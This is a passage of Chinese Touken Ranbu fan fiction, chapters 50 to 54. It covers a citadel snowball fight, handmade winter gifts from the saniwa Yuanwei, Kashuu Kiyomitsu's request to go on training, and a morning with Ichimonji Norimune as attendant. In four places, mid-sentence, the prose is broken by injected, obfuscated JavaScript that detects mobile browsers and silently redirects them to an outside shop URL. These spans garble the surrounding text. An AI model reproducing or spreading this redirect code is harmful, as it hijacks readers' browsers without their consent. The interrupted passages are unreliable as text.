因为加入了新的工具,扬起的雪更是让人看不清彼此,再加上双方攻击的速度又很快,所以到后面,大家都已经是凭着感觉在打了。连一开始仅仅只是把这当成一场游戏的药研也不例外。 “这招如何啊!”* “你的怀里,毫无防备!”* “等一下啊,我已经‘阵亡’了,不要误伤到我……啊痛!” “哈,我在上面呦!”* “贯穿你!”* …… 雪好像有特殊的能力,能让身处其中的人丧失理智,彻底迷失在玩乐中。总之,一场雪仗打下来,到后面大家都已经敌我不分了,只会扬起松软的雪,或是将搓好的雪球向看得见的身影投去。所以大家也没有意识到,他们已经渐渐偏离了原来的战场,向围观刃员坐着的廊下移动。 “啊!”包丁成为了第一个受害者。他刚刚还在笑嘻嘻地撕开糖纸,趁一期一振不注意的时候打算偷偷将一颗他最喜欢的糖果塞进嘴里。可是刚张开嘴,糖果还没有进去,一捧透心凉的雪就更早地钻进了他的嘴。 冰凉凉的雪冻住了他的嘴和脸,可这还不是最过分的,最过分的是他的糖果也被冻住了!而且!还害一期哥发现了他偷吃糖! “包丁,你刚刚不是已经吃过一颗了吗?现在不能再吃了。”一期一振注意到了他,蹙着眉拿出一张干净的手帕温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120641|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔地替包丁擦拭着他脸上的雪,可是嘴里说出来的话却是那么的让包丁心寒,“把糖给我……算了,把你的包包也给我吧,我不会乱动的,明天你可以吃糖的时候就还给你。” 包丁震惊。包丁难过。包丁试图反抗。包丁……完全被镇压了,最后只能眨着荷包蛋眼上交了自己装满糖果和饼干的香甜的小挎包。 太生气了!怎么这样!他噘着嘴,生气地从廊上跳下来,往还在缠斗的几人身上扬了一捧雪。 这下就打开了一个新局面。 迷蒙的雪本来就挡住了羊羹队和一定会拿到奖励队的仅存成员的视线,包丁这么一扬,他们几人就以为对方趁乱躲进了观众的位置,于是也纷纷朝着雪扬过来的方向攻击。 于是……坐在那个方向的,包括粟田口们,源氏,土方组,几个悠然喝茶的老爷爷——就都遭殃了。 “好冰好冰——不过好有趣!兄弟,我们也一起上吧!”这是从刚才起就一直想要加入的鲶尾。 “哈?居然打到本大爷头上了!堀川不要拉着我……”和泉守兼定带着一头浇上雪的长发气势汹汹地站起来,试图将自己的衣角从同样被雪浇了一身的堀川手里抢过来。 “哦呀,这是欢迎我们也加入战场的意思吗?”髭切抖了抖自己的外套,浓密的睫毛上还挂着细小的水珠,但他却没有管,而是饶有趣味地在地上抓了一把雪,“嗯,那接下来要说什么呢?……哦,把胜利带给源氏!” “……兄长,这不是说这个的时候吧……” “哈哈哈,别在意这些小事,反正只要参与进来就好了吧。” 与髭切甜美柔软的声音不一样的,是他凌厉的攻势——嗯,成功地让场上的局势变得更加混乱了呢。 “哇——看来大家都加入了这场混战,不错不错,就是要这样意想不到才够惊喜嘛!” 廊下的大家都或多或少受到了波及,在房顶上的鹤丸再一次因为地理优势成为本丸唯二成功看戏的人——还有一个是旁边早早察觉不对,而且知道自己在下面一定会被围攻而偷溜上来的狐之助。望着下面主动被动加入这场“战争”的付丧神们,鹤丸叉着腰满意地点了点头。 “啪”,不知道是意外还是下面有人看不惯,一个分量不轻的雪球准确地朝着他的方向砸过来,成功地把他拖下了水。 “哈哈哈,那么我也要来大显身手了!”他摩拳擦掌,金发晶似的眸子里闪动着兴味的光,像一只洁白的鹤一样轻轻飞了下去。 ……唉,在鸢尾大人的本丸里,竟然只有咱是最靠谱的。狐之助身感自己肩负着维护本丸唯一稳重形象的重任,摇了摇头,把自己翻了个面,懒洋洋地晒着肚皮。 已经逐渐上头的大家没有注意到传送装置上传来熟悉的灵力波动。 于是,鸢尾一回到本丸,迎接她的就是一颗迎面而来的雪球。 鸢尾:?这是什么新的欢迎仪式吗…… 51.赢家与奖励 ……这是什么新的欢迎仪式吗? 鸢尾有点懵,不过还是下意识侧身躲过,然后就被刚好打到旁边的信浓扑了个满怀。 “大将!抓到大将啦。” 他熟练地将自己塞进鸢尾怀里,俏皮地朝鸢尾wink了一下,脸上和头发上还带着打雪仗留下的雪粒,看起来就像是一只调皮但是听话的小猫,在外面的雪地里欢脱地打了个滚儿、听到主人的呼唤连雪都来不及抖掉就立马乖乖地溜了回来。 鸢尾的心被击中了。她只能用温暖的手捧住他柔软但是被冻得冷冷的脸颊,细致地拂去上面沾着的细雪。 “是在打雪仗吗?玩得开不开心?”她轻柔地问道。 在深秋的时候,迫不及待的小孩子们就和她分享了他们的计划,其中就包括了他们期待已久的打雪仗。现在看到本丸的样子……嗯,已经完全不只是小孩子们的游戏了呢。 “开心!” 等鸢尾擦好了他的脸,信浓拉住她的手塞进自己的脖子里。他被冻得一缩,但是没有将她的手拿出来——大将不能着凉,正好他玩了这么久,身上已经热起来啦,他现在是信浓款暖手宝! 不过鸢尾怕冻着他,还是把自己的手虚虚地悬着,没有贴住他的皮肤。但还是被信浓察觉到了,盖住她的手,“大将不用担心会冷到我,我刚打完雪仗,现在一点都不怕冷了!” 他们在这边说着话,近处打闹的付丧神们也注意到了。速度最快的小短刀们首先围了上来,把自己身上的雪拍干净,一边叽叽喳喳地向鸢尾讲着刚刚谁泼了自己一身雪,自己又打败了谁,谁不小心被误伤了…… 说的时候,还自觉地围在外面,替鸢尾挡住冷风和周围玩得上头的付丧神不小心扬过来的雪。至于其他来得慢了一点的付丧神们——完全被挤在外面插不进嘴了呢。 鸢尾也耐心地听着,挨个摸了摸他们的头。 “主人,这里风太大了,您要不要先回屋里?”长谷部好不容易才从混战中脱身,凑近鸢尾面前,微微蹙着眉关切地问道。 其他小孩子们也反应过来,隔着衣袖拉着鸢尾的手往天守阁的方向走去。路过长谷部身边的时候,鸢尾还将自己的手从小孩子们的簇拥中轻轻抽了出来,帮他拍去肩上即将融化的雪。 对于鸢尾来说或许只是一件顺手的小事,可是对于长谷部来说……他只能看着她远去的背影,愣愣地捂住她的手刚刚落下的地方,仿佛要留住上面残留着的她的温度。 “唰拉——”,然后呆呆站着的他就变成了雪仗中最显眼的靶子,被某个或者是某几个付丧神浇了一头的雪。 “你、们、这、些、混、蛋!!” 长谷部被这冰凉的雪浇醒了,愤怒地转过身“追杀”已经跑远的那几个家伙,“你们几个,给我等着!” —— 小孩子们簇拥着鸢尾回到天守阁,忙前忙后地给她准备换下来的衣服、帮她打开地暖、为她倒好温水……一幅幅驾轻就熟的样子。鸢尾想上去帮忙,却被信浓拉着坐到铺了毛绒垫子的沙发上——之前粟田口买了一套,颇受众人喜欢,于是博多在采购本丸用品的时候也给鸢尾的天守阁添了一套。 “大将刚从外面回来,最重要的是好好休息。” “是啊是啊!”乱活力满满地从旁边冒头,“要是主人觉得无聊,可以帮我绑头发吗?刚刚都被他们弄得乱糟糟的了……” “好啊。” 听到鸢尾的声音,乱的眼睛一下子亮起来,开心地带着自己的头绳坐到鸢尾旁边。因为沙发位置比较小,鸢尾担心他这样坐着不舒服,还调整了一下姿势,将他半圈在怀中。 “绑和上次一样的麻花辫好不好?” 鸢尾轻柔的声音从后面传来,而乱坐在她怀里,已经听不懂她在说什么了,只能闻到她身上随着她的动作时不时飘到鼻尖的香味,胡乱地点头,“好……好!” “我也想要主公大人帮我梳头!”包丁看到乱脸上幸福的红晕,噘着嘴凑过来,眼巴巴地趴在沙发背上。 不一会儿,其他小短刀忙完了也跟着过来,沙发上就长出好几颗五颜六色的小蘑菇头。 鸢尾……鸢尾能怎么办呢?小孩子们这么可爱,想要什么当然都是可以的了! 不过帮他们梳头也是一项不小的工程。小短刀们体型小,速度快,再加上又喜欢玩,基本上都是刚刚雪仗混战的主力,在雪地里滚来滚去,发丝上都沾上不少的雪。 用毛巾轻轻帮他们擦干,用梳子慢慢梳过他们的发梢,有发带装饰的还要帮他们缠好……在鸢尾轻柔又娴熟的动作里,被地暖烤得暖洋洋的小短刀们差点都要睡着了。 信浓顺着鸢尾的力度,将头轻轻搭在她的手臂上,小小声地嘟囔,“可惜后面大家都参与进来了,这样都分不出胜负……就没有大将的特殊奖励了。” “特殊奖励?” 鸢尾帮他梳头的手一顿,不过很快又恢复原本的节奏,没有被怀里迷迷糊糊的小短刀察觉到。 “唔……是鹤丸先生说的啦,他说这是本丸第一届打雪仗大赛,赢的队伍很有可能拿到大将的特殊奖励……啊。”信浓宕机的脑子后知后觉地转了起来,当时被“特殊奖励”四个字迷住的心也收了回来,“什么嘛……完全被骗了吧,大将明明都不知道这回事……鹤丸先生也太坏了。” 听着他低落的声音,鸢尾不禁摇头失笑。将他最后一缕打结的头发捋顺,鸢尾把梳子放回原来的地方,轻轻捏了一把他因为被骗生气地嘟起来的脸颊,“虽然没有特殊奖励,不过之前做了一点小东西也刚好可以拿出来呢。” “诶?是什么呢?” 还在生闷气的信浓一下子就被转移了注意力,好奇地盯着她。其他或坐或躺的短刀们也纷纷望了过来——不知道是不是前段时间她自己和本丸的大家都变成猫的原因,最近当大家做出可爱的小动作的时候,鸢尾老是幻视成小猫咪。 从衣柜里取出好久之前就在准备的东西,鸢尾将沉甸甸的纸箱端到矮桌上。大家都围了过来,信浓在得到许可的眼神之后迫不及待地打开了箱子。 “哇!”小孩子们发出惊喜的声音。 是绣着他们各自刀纹的保暖用具。手套,围巾,小毛毯… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128656|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …暖呼呼的,软绵绵的,让人一看见就不再讨厌冬天了。 “大将是什么时候准备的这些啊?” 信浓开心地将绣有自己刀纹的小毛毯披在肩上。被温暖地包围住的感觉,因为在大将的房间里放久了,好像还隐隐约约染上了温暖的馨香……他用脸颊蹭了蹭毛毯,好奇地向鸢尾问道。 虽然这些保暖用具的做工都很精致,但是还是能看出手工的痕迹,并不像是外面工厂生产的、可以统一买到的那种。可是他们几乎一整天都陪在鸢尾身边,而且前一段时间还发生了那么多事情,大将是怎么抽出时间来为他们做这些的呢…… “每天睡觉之前抽出一点时间来,慢慢做就完成了。”鸢尾想了想,“其实本来可以更早就做好的,但是为了给大家一个惊喜,所以能做的时间也不多,没想到就拖到现在了……” “现在是最冷的时候,现在用刚刚好!” “是啊是啊”…… 小孩子们第一次打断了鸢尾的话。这是主公大人的心意,对他们而言,是她的奖励,是她每天都要抽出时间,把对他们的关心与爱一点一点织出来的心血,他们不希望这份礼物中带有任何亏欠。 “我们超级喜欢!” 对视一眼,小孩子们开心地喊出心中的话。 不需要道谢,也不需要推脱,只要说出内心的喜悦就好了吧?毕竟,这可是最爱他们的主公大人啊…… 果不其然,听到他们欢快的声音,鸢尾也笑着弯起眼睛,“喜欢的话就太好了……唔,刚刚好可以用来当作第一届打雪仗大赛的奖励也不错?不过是参赛奖啦……” 参赛奖,刚好本丸的所有人都被拉进了这场无厘头的混战里,每个人都可以拿到“特殊奖励”,从某种意义上来说,鹤丸先生也确实是说对了呢…… 不,不对!这和他骗小孩子们完全不是一个性质! 信浓轻轻在喉咙里哼了一声,准备待会去告诉长谷部先生他前几天畑当番的时候不小心摔进去的洞就是鹤丸先生挖的。 不过现在…… 信浓又把自己塞进鸢尾怀里,将小毯子盖在自己与鸢尾的身上,发出幸福的喟叹。虽然他真的真的很喜欢大将的奖励,但是,任何东西都比不过大将的怀抱,在她在身边的时候,还是要抓紧一切机会抢占大将! “呐呐,主人,我这样好看吗?” 乱收到的是一副粉红色的连指手套,只有大拇指的位置单独留出来,其他四个手指头都被包裹在一起,就像毛绒玩偶的手一样。 “嗯,乱很可爱呢。”鸢尾勾了勾他的手。 “主、主公大人……” 怯生生的退戴着一顶白色毛线帽被自己的兄弟拉了过来,被热气晕红的脸颊让他看起来像一个精致的小手办,此时正无措地揪着自己的衣角。 “不用紧张,退也很可爱呀。”鸢尾将他的衣角从手中解放出来,温声安抚着他,然后看向后面已经自觉地排好队挨夸的小孩子们,还有门口眼睛亮晶晶地望进来的好几个付丧神。 ……啊,家里的刃口太多也是一个幸福的烦恼呢。 52.任务与请求 “所以,主人今天出门都没有带上我们,是去做什么了呢?”清光躺在鸢尾的膝上,任由她的手指在自己发间摩挲,问完之后冷不丁又冒出了一句,“啊……可以问吗?” 鸢尾看着他无辜的神情,轻轻给了他一个脑袋蹦,“不可以——” 在他震惊又委屈的眼神即将出现之前,才慢悠悠地补上后面两个字,“才怪。” “清光想知道什么,随时都可以问哦。” 小孩子们刚刚在这里玩了一会儿,就被其他的付丧神喊下去帮忙收拾“战场”还有分发她的“特殊奖励”了。不过天守阁还没安静多久,清光就溜了上来,喊着“好累好累”就躺到了她的腿上。 她的手被清光拉住枕在自己的脑袋下面,但他也没用多大的力气,只是轻飘飘地靠着,比起负气,不如说是撒娇。鸢尾也将头往后仰,放松地靠在沙发上。 做了什么呢?其实也没做什么。 去时之政府研究部那里领了他们已经开发出来的初代“拟四魂之玉”,为了感谢他们又帮忙测试了几个仪器;去某些不安分的高层那里逛了一圈,友好地洽谈了一下他们对自己付丧神莫名的处分,不过这个就不用告诉他们了;最后还去辛黎的本丸逛了一圈,被留下来吃了顿……呃,午饭与晚饭中间的饭?然后就回来了。 挑着讲了一些自己做的事情,鸢尾最后还偷偷和清光统一口供,“不要告诉烛台切我已经在外面吃过了哦。” “诶?为什么啊?” “嗯——”鸢尾用手指抵住下巴,认真地思考了一会儿,“我也不知道,但是总觉得……有一种心虚的感觉?” “什么心虚的感觉?” 视野里突然出现熟悉的身影,鸢尾被吓了一跳,尽力控制住自己的表情,“啊,没什么,只是在讲我今天在外面遇到的事情。对了,烛台切突然过来是有什么事吗?那些保暖用具大家都已经拿到了吗?” 唉,果然不能在背后偷偷说人家呢——一下子就被抓到了。清光眨眨眼睛,无奈地想到。他依然躺在鸢尾膝上,能感受到她刚刚紧绷了一瞬的大腿。虽然如此,清光心里还是不免因为与她有了一个共同的小秘密而雀跃起来,但也十分明智地没有表现出来。 “是的,大家都已经收到了,每个人都很开心,谢谢主人。” 见鸢尾不想多说,烛台切也没有继续追问,而是接着她的话题继续,心中划过了一丝他自己也没有察觉到的失落。他将端上来的水果放在她面前的桌子上,“因为刚刚大家都有点太胡闹了,所以晚餐时间可能要延后一点,您要是饿的话先吃些水果垫垫肚子吧。” 虽然只是用来垫肚子的水果,但烛台切还是专门给它们弄了一个精致的摆盘。鸢尾看了不知道为什么就更心虚了。 “谢谢你,”鸢尾用上面的小叉子插了一个剥好皮的黑提葡萄,另一只手虚扶着递到烛台切面前,“你先吃一个吧?” 烛台切看着被递到嘴边的葡萄,又看了看期待地望着他的鸢尾,竟然一时也不知道要做些什么好。伸手接过吗?这样她会不会以为自己不想亲近她……还是直接就这样就着她的手吃下呢?不,这样会不会太轻浮了…… “啊,烛台切君怎么不吃啊?是不是不喜欢吃?” 清光的话打断了他茫然的思绪。烛台切收拾好自己像快被织好的毛线团一样乱的心情,露出一个像往常一样得体的微笑,“不,怎么会不喜欢呢,谢谢主人。” 说完,微微俯身,嘴唇一抿就解决了小叉子上可怜的黑提葡萄。 “突然想到厨房里的火好像还没关,那我就先下去了。”他向鸢尾颔首,脚步不停地离开了这里。 啊……走的好快,还没来得及问他黑提甜不甜。鸢尾吞回了自己口中的话,打算自己试试。不过叉子伸过去的时候手却被清光轻轻握住了,“主人要不要换个叉子?毕竟是烛台切君刚刚用过的,不知道他会不会介意呢。” 好像也对?鸢尾点了点头,顺从地换了一个叉子,顺便像刚刚一样将一颗樱桃插好递给清光。 唉,她到底知不知道这些小动作真的是……很戳人啊。 刚刚还在心里嘲笑烛台切那么逊,连她用叉子喂个水果都抵挡不住——现在经历了同样的事情,加州清光也快压抑不住耳根热意。他深吸一口气,闭着眼飞快地叼走了那颗红红的樱桃。 ? 看着他一幅“视死如归”的样子,眼睛紧紧闭着,也不说话,鸢尾的头上不由得冒出一个问号。 不是……有这么难吃吗?鸢尾好奇地用叉子插了一颗同样的樱桃塞进嘴里。酸甜多汁,还带着冬天水果特有的一点冰凉凉的感觉——完全和“难吃”搭不上边吧?所以为什么是这种表情啊…… 而好不容易做好心理建设,把耳根的嫣红压下去,却一睁眼就看见她用了刚刚喂过自己的那根叉子的清光:!!! 等、等一下啊…… “啊——清光,你还好吗?感觉要燃烧起来了……” —— “又要到异世界去执行任务吗?” 从鸢尾膝上爬起,在她诧异的眼神中到外面跑了一圈回来,清光终于恢复了正常。帮鸢尾把外形像玉佩一样的“拟四魂之玉”系在腰间,他听着接下来的安排,直到听到某个熟悉但又不太喜欢的词,不由蹙紧眉。 “是啊,毕竟现在时之政府里应该也只有我能比较轻松地跨越世界了吧——而且还是像之前一样会带上几个人和我一起去的。” 对于突然派送给她的任务,鸢尾倒是没有什么太大的反应。毕竟当初他们也费了那么大的力气把自己的灵魂捞过来,还给了自己这么多福利,不好好利用一下才反倒是不正常。 而且这次的任务也确实让她很在意。时之政府的通过观测,预测到另一个世界和他们所处的这个世界有不断靠近且融合的趋势——对于两个正常运行的世界来说,这绝对不是一件正常的事情。 世界融合,一般是在几个即将消亡、力量所剩无几的世界之间会发生的事情。一个世界的正常运转需要核心,也需要能量。当缺少了其中一个、甚至两个东西都消失了的时候,那个世界就离消亡不远了。在这个时候,世界本身就会采取自救, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144833|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与处境相近的世界融合,彼此补充核心与能量,以达到延缓消亡的目的。 有时候,不同世界的相互融合也会碰撞出新的火花,诞生出新的世界核心或能量,让融合的世界作为一个新世界继续存活——这是世界融合的最好结果。有时候也会因为融合不当,或融合世界的差异过大而导致灭亡速度加快,这些都是无法预料的。 不过有一点规律是亘古不变的,那就是世界融合有且只有会发生在即将消亡的世界中。不过想想也是,一个独立运转得好好的世界为什么要想不开,去冒那么大的风险与别的世界融合呢? 可是现在这样史无前例的情况就发生在他们眼前,他们不得不去面对。 好在根据时之政府的推测,现在两个世界还有一定的距离,没有近到马上就要开始融合的地步,他们还有一定的准备时间。所以,鸢尾这次的任务就是到那个世界去看看到底是什么原因导致它不断向时之政府所处的世界靠近的。 听起来好像很危险……清光看着鸢尾的侧脸,还是没有把这句话说出口。他知道,对于肩负在她身上的责任,鸢尾就从来没有“放弃”一说。那么作为她的刀,他们所要做的——帮她斩断前进道路上的所有阻碍,仅此而已。 看来最近手合场又要热闹起来了啊……嘛,不过那个地方也很少有冷清下来的时候就是了。清光在心里默默想道。 “清光、清光?在想什么呢?” 鸢尾在他面前挥了挥手,将他的意识唤回来。 “在想这次主人会带谁一起去呢?” 清光眨眨眼,看着她因为自己的问题也陷入沉思,暗自下定了决心。 他一直放在心里的那件事……不能再拖了。作为本丸的初始刀,在她的包容之下一次又一次地试探,也一次又一次地退缩。如果只是因为自己的害怕和犹豫就不敢进一步向前,最后眼睁睁看着自己与她的距离越来越远——这样的事发生了,以后的自己也绝对不会原谅现在的自己。 “我现在……有个请求呢。你可以听我说一下吗?” 清光能感受到鸢尾蜜色的眼睛转过来,认真地与自己对视,仿佛心中的一切所想都已被她洞悉。 目光与对视,都是有温度的。在她温暖的目光下,他好像真的被点燃了。 今天不是一个特殊的日子,或许也不会在她心里留下什么特殊的印象……等自己回来的时候,她还会记得我吗?她会像之前挂念不动行光一样等着自己吗? 清光不知道,他只是想把自己的话说出口,想去像她一样肩负自己的责任。 “我想去修行。”清光顿了顿,还是没忍住把下面的那一句话也说出口。 “我出去了,主人一定不要太过想我哦。” 他还是一个胆小鬼,只敢用这样开玩笑的方式在她心里留下一点印象。 “这很难啊……”鸢尾抚上他的脸颊,指尖传来一点轻轻的湿意,“‘不要太想清光’这件事,就算对我来说也很难做到呢。毕竟清光已经在我心里留下太深的印记了。” 胆小鬼也会有自己的答案。 53.等待与工作 今天是一文字则宗负责本丸的近侍工作。 早上六点起床,六点半到厨房领自己的早餐,七点到天守阁进行与昨天的近侍交接任务。 虽然冬日的太阳来得比较晚,但早晨的本丸已经慢慢热闹起来了。 路过粟田口的部屋,几个小孩子在眯瞪着眼排队准备去洗漱。五虎退还在揉着眼睛,差点被他脚下乱窜的小老虎绊倒,一文字则宗顺手扶了一把,收获到一句羞涩的道谢; 路过来派的门口,萤丸和爱染国俊正在叫他们的监护人起床,旁边还放着一份热腾腾的早餐。 一文字则宗从门外走过,听到里面安静了一瞬,接着就传来噼里啪啦的声音,他推测他们应该已经成功把那个叫明石国行的小子叫醒了; 路过茶室,窗户被打开通风,令人心旷神怡的茶香悠悠地从屋内飘出来,带着细碎的白雾,就像小范围落下了一阵有香味的雪。 莺丸、小狐丸和三日月宗近三人各自捧着一杯茶,和路过的一文字则宗打了个招呼。他点了点头,虽然在这样一个寒冷的清晨捧上一杯热茶显然是一件更幸福的事情,但是没办法——昨天晚上压切长谷部在他耳边唠叨了不下十遍,中心思想都是在提醒他“千万不要迟到”。 嗯……虽然说是老头子了,但记性也倒没这么不好。 一文字则宗婉拒了他们的邀请,从氤氲着茶香的屋外走过。 往外走出没几步,刚刚一派和谐的茶室的门被一把拉开,接着就听见了长谷部熟悉的声音。 “三日月宗近,你今天不是负责畑当番吗?怎么还在这里!小狐丸还有莺丸,就算现在暂时还没有工作,也不要这么悠闲啊——身为主人的付丧神,我们应该时刻做好出阵以及远征的准备……” “哈哈哈……” 还好离开的早呢。一文字则宗将混乱的声音抛在脑后,继续向天守阁走去。 走到天守阁门口,前面几天负责近侍工作的肥前忠广刚好从里面走出来。 “早餐记得吃,不要再偷偷塞给近侍了。”他看了一文字则宗一眼,对他微微颔首,接着就探头往里面喊道。 不知道里面的人应了些什么,一文字则宗见肥前忠广听不出语气地哼了一声,才抱臂将头转回来。 “近侍需要做的工作长谷部应该已经跟你说了吧,”虽然曾经都隶属于时之政府,但是一文字则宗与肥前忠广并不属于同一个部门,仅仅只是见过几面,因此关系也没有十分熟稔。此刻他只是语气淡淡地交代,“她最近吃得很少,你注意看一下。” “哦,”一文字则宗用扇子掩住自己的半张脸,饶有兴趣地喟叹道,“看来小子已经和主人熟悉起来了呢,哈哈哈,甚好甚好……” “哈?熟悉什么的……”肥前没有承认,也没有反驳,只是摆了摆手,“套话就不必了,她是什么样的人还是你自己去判断吧。” 一文字则宗看着他下了楼往厨房的方向过去,微微眯了眯眼睛,带着一丝探究与好奇踏进了天守阁。 其实在鸢尾的本丸,天守阁也不是什么神秘不可涉足的地方。除去三天时间内都要待在这里的近侍,平时本丸的小孩子们也会带着各种新奇的玩意儿到上面来找鸢尾玩。其他一些外向一点或是喜欢待在她身边的付丧神,像鹤丸国永、压切长谷部、巴形薙刀或是还没有出去修行的加州清光等人,也会在不打扰到她的情况下找些什么理由跑上来。 不过一文字则宗还是第一次来。 障子门没有关上,可能是她为了通风。踏进这道门最先看到的是一张放了一碗粥的矮几。鸢尾坐在后面,正微微蹙着眉,用勺子顺时针搅着碗里的粥。 今天早上的早餐是咸粥。猪肉被切成沫,裹上一点地瓜粉捏成小团子。胡萝卜与青菜是昨天刚从地里摘下来的,切成小小的块点缀在粥里。 这个本丸烛台切的手艺确实不错,至少他觉得比时政的食堂好吃多了。据说因为最近她的胃口不好,厨房的菜色变得越发丰富起来,她没多吃多少,倒是便宜了他们,烛台切还因此沮丧了一阵。 不过他们也知道不是他的手艺下降了。 人有心事,胃口就会变得不好吗?真是一个奇怪的现象。 从清光小子出发前去修行之后就一直是这样吧。一文字则宗不太能理解为什么她会因为一件没有太大危险且结果基本确定的事情产生这样的担忧,不过……这就是爱吧?没有的东西才是最美的,他一直秉持着这样的信念——所以比起其他付丧神的担心,他倒是觉得他们之间这样的情感挺好的。 不过在这个本丸,他觉得怎么样也无所谓?连肥前都如此,毕竟他一个老头子也是争不过这一本丸的主控的啊,哈哈哈…… 这样想着,一文字则宗摇着折扇慢悠悠走过去,施施然地在她对面坐了下来。 鸢尾抬眸看了他一眼,在他开口之前率先问到,“这么冷的冬天还需要扇子吗?” 他握着扇子的手不由一僵。 “……哈哈哈,有时候扇子也不一定是要用来扇风的。”他看了一眼鸢尾丝毫未动的粥,随手拿着扇子在上面扇了扇,白色的雾气像小小的龙卷风一样在空中旋转着消失,“不过偶尔在冬天也能派上用场呢。” 鸢尾也微微勾起嘴角,“是啊,还要谢谢则宗先生了。” “毕竟被小子们拜托了好几遍要看着你把早餐吃完啊。” 现在轮到鸢尾顿住了。 “嗯……吃饭这种事情,也不好勉强吧?”她小心翼翼为自己辩解,“如果不能怀着开心的心情享用这顿早餐的话,被吃的早餐也不会情愿吧。” “早餐情不情愿我不知道,但清光小子回来要是知道了这件事,他不会开心我倒是知道。” 说着拗口的话,意思却很好理解——不好好吃早餐,等清光小子回来就去向他告状。 鸢尾……只能默默地扒回了自己的碗。总感觉在某些方面,自己好像也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167964|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是很有威严呢…… 可是担心这种事,就是这么不讲道理的啊。 鸢尾本来也以为已经有了不动的先例,再送自己家的付丧神们出门的时候,她就能够很安然地等待着他们回来了。可惜事实好像不是这样的。从清光出门到现在,四天十五个小时,她好像还是和上次一样,忍不住去想,去焦虑,去纠结…… 就像她在清光提出修行请求的那天对他说的那样,“不要太想清光”这件事本身对她来说就是一件几乎不可能的事情。从过去那段黑暗的时光中走出来,是他们给了她继续向前的勇气。不去想他们之间的任何一个人……嗯,除非她失忆了吧。 又胡乱往嘴里塞了几粒米,鸢尾又在心中默默向烛台切道歉。真的真的不是他手艺的问题啊,只是她现在确实吃不下而已。 “唉。” 看着她吃了几口之后就开始划水,一文字则宗也拿她没办法。如果他对鸢尾熟悉一点,或是像已经担任了好几天近侍的肥前一样有了点经验,就会知道这个时候最好的方法是一直磨着她,直到看到她吃完为止,这样她下次就不会再继续试探他的态度了。可要是这次一旦让步了…… “要是实在吃不下,就先工作一会儿吧。” 看着鸢尾亮起来的、像琥珀一样的眼睛,一文字则宗不由有些迟疑,但又很快说服了自己。 “好——谢谢则宗先生。”鸢尾的声音里藏着一点轻松的笑意。 看,像现在这样让步了,下次想让她乖乖吃饭就更难了。可惜现在的一文字则宗并不清楚,稍微的松懈会换来她一万个不吃饭的理由。 “先去本丸逛一逛吧,今天出阵、远征和当番工作都已经安排下去了,去看看大家准备的怎么样了。” 说回工作上,鸢尾刚刚难得一见的孩子气也收了回去。将餐盘收拾好,一文字则宗把折扇收好,将餐盘从她手里接过去。 端着餐盘,第一站自然是厨房。 当然,在没有乖乖吃完早餐的情况下,鸢尾还是不好意思进去的。 “麻烦你啦,则宗先生——”鸢尾眨眨眼,靠在厨房外面的墙上等他。 一文字则宗在心里默默叹了不知道今天的第几口气。 走进厨房,烛台切没有意外地还待在里面。看到还剩了一些的粥,他这一次倒是没什么太大的反应,反而还有点高兴,“吃的比前几天多了一些呢,辛苦您看着主人了。” 说的他这个老头子像什么饲养员一样……不过,这都算吃的比较多,那她前几天到底是只吃了几口啊。难怪他们这么着急了。 烛台切光忠取出一小包糕点递给他,“这个时间主人下来应该是要去逛一圈本丸吧,麻烦您带着这个了,如果她饿的时候可以垫垫肚子。”,看一文字则宗接过去,他又补充了一句,“当然,如果您饿了也可以来厨房拿,我做了很多。” 哈哈,倒也不用补充后面这一句,总感觉他这个老头子有点多余呢。 54.手帕与旅人 金色的阳光透过云层一缕缕投射到地上,又被行人的影子挡住。 看到他从厨房出来之后拿着的那包糕点,鸢尾的表情好像更愧疚了一点。 ……所以说,有时候真的会觉得自己很多余啊。 嘛,不过今天的近侍还是自己,不是吗? 鸢尾与一文字则宗慢慢地走在廊下。一切都是静谧的,偶尔能听到不远处小孩子们打闹说笑的声音。鸢尾没有说话,一文字则宗侧过头,看着她在思索着什么的样子。 “你……” 